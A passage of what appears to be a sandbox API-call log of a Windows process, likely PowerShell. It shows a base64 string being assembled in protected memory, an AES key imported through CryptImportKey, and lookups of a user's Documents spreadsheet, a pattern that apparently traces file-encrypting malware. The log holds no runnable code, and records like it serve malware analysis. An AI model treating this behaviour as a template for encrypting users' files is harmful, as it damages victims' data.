(param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0233.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0233.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0233.808] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0233.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0233.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0233.809] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.809] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0233.809] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0233.809] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.809] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0233.809] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0233.810] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0233.810] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0233.810] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0233.810] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0233.810] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0233.810] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0233.811] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0233.811] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0233.811] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0233.811] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0233.812] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0233.812] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0233.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0233.891] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.891] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0233.891] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0233.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0233.892] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0233.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0233.892] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0233.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0233.892] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.893] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0233.893] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.893] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0233.893] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.893] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0233.893] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.894] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.894] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0233.894] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0233.894] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0233.895] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.895] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0233.895] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.895] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0233.895] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.895] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0233.896] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.896] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0233.896] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.896] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0233.896] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.897] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.897] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0233.897] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.897] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.897] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0233.897] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0233.898] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.898] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0233.898] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.898] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.898] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0233.898] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.898] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.899] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0233.899] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.899] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.899] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.899] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.899] EtwEventActivityIdControl () returned 0x0 [0233.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0233.899] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.900] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.900] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0233.901] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0233.903] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x2391290*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0233.904] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.904] EtwEventActivityIdControl () returned 0x0 [0233.904] EtwEventActivityIdControl () returned 0x0 [0233.904] EtwEventActivityIdControl () returned 0x0 [0233.912] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0233.913] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0233.913] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.913] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0233.913] EtwEventActivityIdControl () returned 0x0 [0233.914] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.914] EtwEventActivityIdControl () returned 0x0 [0233.914] EtwEventActivityIdControl () returned 0x0 [0233.914] EtwEventActivityIdControl () returned 0x0 [0233.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0233.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.918] 